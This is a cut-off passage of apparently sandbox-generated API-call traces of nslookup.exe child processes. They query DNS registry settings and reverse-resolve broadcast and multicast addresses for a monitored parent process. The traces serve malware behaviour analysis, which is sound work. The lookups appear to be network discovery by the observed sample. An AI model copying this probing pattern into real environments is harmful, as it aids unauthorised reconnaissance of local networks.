GetCurrentThreadId () returned 0x93c [0052.615] GetTickCount () returned 0x1156549 [0052.615] QueryPerformanceCounter (in: lpPerformanceCount=0x16fe18 | out: lpPerformanceCount=0x16fe18*=19447080862) returned 1 [0052.646] GetModuleHandleW (lpModuleName=0x0) returned 0xffd20000 [0052.646] __set_app_type (_Type=0x1) [0052.646] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd309f8) returned 0x0 [0052.646] __getmainargs (in: _Argc=0xffd3aa00, _Argv=0xffd3aa10, _Env=0xffd3aa08, _DoWildCard=0, _StartInfo=0xffd3aa1c | out: _Argc=0xffd3aa00, _Argv=0xffd3aa10, _Env=0xffd3aa08) returned 0 [0052.646] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0052.646] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0052.647] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xffd42e80 | out: lpWSAData=0xffd42e80) returned 0 [0052.654] malloc (_Size=0x40) returned 0x17df30 [0052.655] socket (af=2, type=2, protocol=0) returned 0x6c [0052.658] closesocket (s=0x6c) returned 0 [0052.658] RtlIpv4StringToAddressA () returned 0x0 [0052.658] RtlInitAnsiString (in: DestinationString=0x16fc70, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0052.658] RtlAnsiStringToUnicodeString (in: DestinationString=0x16fc60, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0052.658] NtOpenKey (in: KeyHandle=0x16fd38, DesiredAccess=0x20019, ObjectAttributes=0x16fc80*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x16fd38*=0x6c) returned 0x0 [0052.658] RtlFreeAnsiString (AnsiString="\\") [0052.658] malloc (_Size=0x3200) returned 0x5f5ed0 [0052.659] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353980 [0052.659] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353d90 [0052.659] RtlAnsiStringToUnicodeString (in: DestinationString=0x16fc48, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0052.659] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x353980, Length=0x400, ResultLength=0x16fc40 | out: KeyValueInformation=0x353980, ResultLength=0x16fc40) returned 0xc0000034 [0052.659] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353d90) returned 1 [0052.659] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353980) returned 1 [0052.659] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353980 [0052.659] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353d90 [0052.659] RtlAnsiStringToUnicodeString (in: DestinationString=0x16fc48, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0052.659] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x353980, Length=0x400, ResultLength=0x16fc40 | out: KeyValueInformation=0x353980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x16fc40) returned 0x0 [0052.659] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353d90) returned 1 [0052.659] RtlUnicodeStringToAnsiString (in: DestinationString=0x16fc58, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0052.659] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353980) returned 1 [0052.659] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353980 [0052.659] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353d90 [0052.659] RtlAnsiStringToUnicodeString (in: DestinationString=0x16fc48, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0052.659] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x353980, Length=0x400, ResultLength=0x16fc40 | out: KeyValueInformation=0x353980, ResultLength=0x16fc40) returned 0xc0000034 [0052.659] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353d90) returned 1 [0052.659] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353980) returned 1 [0052.659] RtlInitAnsiString (in: DestinationString=0x16fc70, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0052.659] RtlAnsiStringToUnicodeString (in: DestinationString=0x16fc60, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0052.659] NtOpenKey (in: KeyHandle=0x16fd40, DesiredAccess=0x20019, ObjectAttributes=0x16fc80*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x16fd40*=0x0) returned 0xc0000034 [0052.660] RtlFreeAnsiString (AnsiString="\\") [0052.660] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353980 [0052.660] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353d90 [0052.660] RtlAnsiStringToUnicodeString (in: DestinationString=0x16fc48, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0052.660] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x353980, Length=0x400, ResultLength=0x16fc40 | out: KeyValueInformation=0x353980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x16fc40) returned 0x0 [0052.660] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353d90) returned 1 [0052.660] RtlUnicodeStringToAnsiString (in: DestinationString=0x16fc58, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0052.660] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353980) returned 1 [0052.660] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353980 [0052.660] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x400) returned 0x353d90 [0052.660] RtlAnsiStringToUnicodeString (in: DestinationString=0x16fc48, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0052.660] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x353980, Length=0x400, ResultLength=0x16fc40 | out: KeyValueInformation=0x353980, ResultLength=0x16fc40) returned 0xc0000034 [0052.660] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353d90) returned 1 [0052.660] RtlFreeHeap (HeapHandle=0x330000, Flags=0x0, BaseAddress=0x353980) returned 1 [0052.660] gethostname (in: name=0x5f5ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0052.690] free (_Block=0x5f5ed0) [0052.690] malloc (_Size=0x20) returned 0x5f5a50 [0052.690] getenv (_VarName="HOME") returned 0x0 [0052.690] DnsQueryConfigAllocEx () returned 0x1d01620 [0052.717] _vsnprintf (in: _DstBuf=0x16fbf0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x15fb68 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0052.717] htons (hostshort=0x1) returned 0x100 [0052.717] htons (hostshort=0x1) returned 0x100 [0052.719] socket (af=2, type=2, protocol=0) returned 0x110 [0052.719] connect (s=0x110, name=0x1d01640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0052.720] send (s=0x110, buf=0x15fbf0*, len=42, flags=0) returned 42 [0052.731] select (in: nfds=272, readfds=0x14f660, writefds=0x0, exceptfds=0x0, timeout=0x14f638*(tv_sec=2, tv_usec=0) | out: readfds=0x14f660, writefds=0x0, exceptfds=0x0) returned 1 [0052.731] recv (in: s=0x110, buf=0x14fb50, len=65536, flags=0 | out: buf=0x14fb50*) returned 92 [0052.731] closesocket (s=0x110) returned 0 [0052.731] htons (hostshort=0x100) returned 0x1 [0052.731] htons (hostshort=0x200) returned 0x2 [0052.731] htons (hostshort=0x0) returned 0x0 [0052.731] htons (hostshort=0x0) returned 0x0 [0052.732] malloc (_Size=0x9) returned 0x17df80 [0052.732] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x35aba0 [0052.732] DnsFreeConfigStructure () returned 0x249b1b01 [0052.732] strcpy_s (in: _Dst=0xffd43020, _DstSize=0x100, _Src="colossus" | out: _Dst="colossus") returned 0x0 [0052.732] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x16faa8, nSize=0x0, Arguments=0x16faa0 | out: lpBuffer="") returned 0x7 [0052.733] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 17 [0052.733] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0052.733] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0052.733] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0052.733] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0052.733] RtlIpv4StringToAddressA () returned 0x0 [0052.734] _vsnprintf (in: _DstBuf=0x16f910, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x15f888 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0052.734] htons (hostshort=0x2) returned 0x200 [0052.734] htons (hostshort=0x1) returned 0x100 [0052.734] socket (af=2, type=2, protocol=0) returned 0x110 [0052.734] connect (s=0x110, name=0x35abc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0052.734] send (s=0x110, buf=0x15f910*, len=42, flags=0) returned 42 [0052.734] select (in: nfds=272, readfds=0x14f380, writefds=0x0, exceptfds=0x0, timeout=0x14f358*(tv_sec=2, tv_usec=0) | out: readfds=0x14f380, writefds=0x0, exceptfds=0x0) returned 1 [0052.735] recv (in: s=0x110, buf=0x14f870, len=65536, flags=0 | out: buf=0x14f870*) returned 92 [0052.735] closesocket (s=0x110) returned 0 [0052.736] htons (hostshort=0x100) returned 0x1 [0052.736] htons (hostshort=0x200) returned 0x2 [0052.736] htons (hostshort=0x0) returned 0x0 [0052.736] htons (hostshort=0x0) returned 0x0 [0052.736] malloc (_Size=0x9) returned 0x17dfa0 [0052.736] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x35aac0 [0052.736] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x16fa08, nSize=0x0, Arguments=0x16fa00 | out: lpBuffer="\x10 6") returned 0x5 [0052.736] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 17 [0052.736] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0052.736] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0052.736] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0052.736] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0052.736] free (_Block=0x17df80) [0052.736] LocalFree (hMem=0x35aba0) returned 0x0 [0052.736] free (_Block=0x17df30) [0052.736] exit (_Code=0) Thread: id = 362 os_tid = 0x99c Process: id = "26" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x2ddc0000" os_pid = "0x9ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 363 os_tid = 0x9bc [0054.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ef850 | out: lpSystemTimeAsFileTime=0x1ef850*(dwLowDateTime=0x6a32c750, dwHighDateTime=0x1d5d030)) [0054.095] GetCurrentProcessId () returned 0x9ac [0054.095] GetCurrentThreadId () returned 0x9bc [0054.095] GetTickCount () returned 0x1156b13 [0054.095] QueryPerformanceCounter (in: lpPerformanceCount=0x1ef858 | out: lpPerformanceCount=0x1ef858*=19595072560) returned 1 [0054.097] GetModuleHandleW (lpModuleName=0x0) returned 0xffd60000 [0054.097] __set_app_type (_Type=0x1) [0054.097] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd709f8) returned 0x0 [0054.097] __getmainargs (in: _Argc=0xffd7aa00, _Argv=0xffd7aa10, _Env=0xffd7aa08, _DoWildCard=0, _StartInfo=0xffd7aa1c | out: _Argc=0xffd7aa00, _Argv=0xffd7aa10, _Env=0xffd7aa08) returned 0 [0054.097] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0054.097] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0054.098] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xffd82e80 | out: lpWSAData=0xffd82e80) returned 0 [0054.111] malloc (_Size=0x40) returned 0x39df30 [0054.111] socket (af=2, type=2, protocol=0) returned 0x6c [0054.113] closesocket (s=0x6c) returned 0 [0054.113] RtlIpv4StringToAddressA () returned 0x0 [0054.114] RtlInitAnsiString (in: DestinationString=0x1ef6b0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0054.114] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef6a0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0054.114] NtOpenKey (in: KeyHandle=0x1ef778, DesiredAccess=0x20019, ObjectAttributes=0x1ef6c0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x1ef778*=0x6c) returned 0x0 [0054.114] RtlFreeAnsiString (AnsiString="\\") [0054.114] malloc (_Size=0x3200) returned 0x565ed0 [0054.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3990 [0054.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3da0 [0054.114] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef688, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0054.114] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x2b3990, Length=0x400, ResultLength=0x1ef680 | out: KeyValueInformation=0x2b3990, ResultLength=0x1ef680) returned 0xc0000034 [0054.114] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3da0) returned 1 [0054.114] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3990) returned 1 [0054.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3990 [0054.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3da0 [0054.114] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef688, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0054.114] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x2b3990, Length=0x400, ResultLength=0x1ef680 | out: KeyValueInformation=0x2b3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x1ef680) returned 0x0 [0054.114] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3da0) returned 1 [0054.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x1ef698, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0054.114] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3990) returned 1 [0054.114] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3990 [0054.115] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3da0 [0054.115] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef688, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0054.115] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x2b3990, Length=0x400, ResultLength=0x1ef680 | out: KeyValueInformation=0x2b3990, ResultLength=0x1ef680) returned 0xc0000034 [0054.115] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3da0) returned 1 [0054.115] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3990) returned 1 [0054.115] RtlInitAnsiString (in: DestinationString=0x1ef6b0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0054.115] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef6a0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0054.115] NtOpenKey (in: KeyHandle=0x1ef780, DesiredAccess=0x20019, ObjectAttributes=0x1ef6c0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x1ef780*=0x0) returned 0xc0000034 [0054.115] RtlFreeAnsiString (AnsiString="\\") [0054.115] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3990 [0054.115] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3da0 [0054.115] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef688, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0054.115] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x2b3990, Length=0x400, ResultLength=0x1ef680 | out: KeyValueInformation=0x2b3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x1ef680) returned 0x0 [0054.115] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3da0) returned 1 [0054.115] RtlUnicodeStringToAnsiString (in: DestinationString=0x1ef698, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0054.115] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3990) returned 1 [0054.115] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3990 [0054.115] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x400) returned 0x2b3da0 [0054.115] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ef688, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0054.115] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x2b3990, Length=0x400, ResultLength=0x1ef680 | out: KeyValueInformation=0x2b3990, ResultLength=0x1ef680) returned 0xc0000034 [0054.115] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3da0) returned 1 [0054.115] RtlFreeHeap (HeapHandle=0x290000, Flags=0x0, BaseAddress=0x2b3990) returned 1 [0054.115] gethostname (in: name=0x565ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0054.131] free (_Block=0x565ed0) [0054.131] malloc (_Size=0x20) returned 0x39df80 [0054.131] getenv (_VarName="HOME") returned 0x0 [0054.131] DnsQueryConfigAllocEx () returned 0x1e61620 [0054.157] _vsnprintf (in: _DstBuf=0x1ef630, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x1df5a8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0054.157] htons (hostshort=0x1) returned 0x100 [0054.157] htons (hostshort=0x1) returned 0x100 [0054.158] socket (af=2, type=2, protocol=0) returned 0x110 [0054.159] connect (s=0x110, name=0x1e61640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0054.159] send (s=0x110, buf=0x1df630*, len=42, flags=0) returned 42 [0054.159] select (in: nfds=272, readfds=0x1cf0a0, writefds=0x0, exceptfds=0x0, timeout=0x1cf078*(tv_sec=2, tv_usec=0) | out: readfds=0x1cf0a0, writefds=0x0, exceptfds=0x0) returned 1 [0054.160] recv (in: s=0x110, buf=0x1cf590, len=65536, flags=0 | out: buf=0x1cf590*) returned 92 [0054.160] closesocket (s=0x110) returned 0 [0054.160] htons (hostshort=0x100) returned 0x1 [0054.160] htons (hostshort=0x200) returned 0x2 [0054.160] htons (hostshort=0x0) returned 0x0 [0054.160] htons (hostshort=0x0) returned 0x0 [0054.161] malloc (_Size=0x9) returned 0x39dfb0 [0054.161] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x2babb0 [0054.161] DnsFreeConfigStructure () returned 0x7833f801 [0054.161] strcpy_s (in: _Dst=0xffd83020, _DstSize=0x100, _Src="colossus" | out: _Dst="colossus") returned 0x0 [0054.161] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x1ef4e8, nSize=0x0, Arguments=0x1ef4e0 | out: lpBuffer="p¡,") returned 0x7 [0054.162] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 17 [0054.162] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0054.162] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0054.162] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0054.162] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0054.162] RtlIpv4StringToAddressA () returned 0x0 [0054.162] _vsnprintf (in: _DstBuf=0x1ef350, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x1df2c8 | out: _DstBuf="255.0.168.192.in-addr.arpa.") returned 27 [0054.162] htons (hostshort=0x2) returned 0x200 [0054.162] htons (hostshort=0x1) returned 0x100 [0054.162] socket (af=2, type=2, protocol=0) returned 0x110 [0054.162] connect (s=0x110, name=0x2babd0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0054.162] send (s=0x110, buf=0x1df350*, len=44, flags=0) returned 44 [0054.163] select (in: nfds=272, readfds=0x1cedc0, writefds=0x0, exceptfds=0x0, timeout=0x1ced98*(tv_sec=2, tv_usec=0) | out: readfds=0x1cedc0, writefds=0x0, exceptfds=0x0) returned 1 [0054.164] recv (in: s=0x110, buf=0x1cf2b0, len=65536, flags=0 | out: buf=0x1cf2b0*) returned 44 [0054.164] closesocket (s=0x110) returned 0 [0054.164] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0x1ef460, nSize=0x0, Arguments=0x1ef468 | out: lpBuffer="`\x8f*") returned 0x3c [0054.164] CharToOemBuffA (in: lpszSrc="*** colossus can't find 192.168.0.255: Non-existent domain\r\n", lpszDst=0x2a8f60, cchDstLength=0x3c | out: lpszDst="*** colossus can't find 192.168.0.255: Non-existent domain\r\n") returned 1 [0054.164] _write (in: _FileHandle=2, _Buf=0x2a8f60*, _MaxCharCount=0x3c | out: _Buf=0x2a8f60*) returned 60 [0054.165] LocalFree (hMem=0x2a8f60) returned 0x0 [0054.165] free (_Block=0x39dfb0) [0054.165] LocalFree (hMem=0x2babb0) returned 0x0 [0054.165] free (_Block=0x39df30) [0054.165] exit (_Code=0) Thread: id = 364 os_tid = 0x9fc Process: id = "27" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x2d0c5000" os_pid = "0xa0c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 365 os_tid = 0xa1c [0054.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f8d0 | out: lpSystemTimeAsFileTime=0x28f8d0*(dwLowDateTime=0x6a8878d0, dwHighDateTime=0x1d5d030)) [0054.675] GetCurrentProcessId () returned 0xa0c [0054.675] GetCurrentThreadId () returned 0xa1c [0054.675] GetTickCount () returned 0x1156d44 [0054.675] QueryPerformanceCounter (in: lpPerformanceCount=0x28f8d8 | out: lpPerformanceCount=0x28f8d8*=19653045334) returned 1 [0054.675] GetModuleHandleW (lpModuleName=0x0) returned 0xff760000 [0054.675] __set_app_type (_Type=0x1) [0054.675] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff7709f8) returned 0x0 [0054.675] __getmainargs (in: _Argc=0xff77aa00, _Argv=0xff77aa10, _Env=0xff77aa08, _DoWildCard=0, _StartInfo=0xff77aa1c | out: _Argc=0xff77aa00, _Argv=0xff77aa10, _Env=0xff77aa08) returned 0 [0054.675] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0054.675] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0054.709] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff782e80 | out: lpWSAData=0xff782e80) returned 0 [0054.716] malloc (_Size=0x40) returned 0x36df30 [0054.716] socket (af=2, type=2, protocol=0) returned 0x6c [0054.718] closesocket (s=0x6c) returned 0 [0054.718] RtlIpv4StringToAddressA () returned 0x0 [0054.718] RtlInitAnsiString (in: DestinationString=0x28f730, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0054.718] RtlAnsiStringToUnicodeString (in: DestinationString=0x28f720, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", 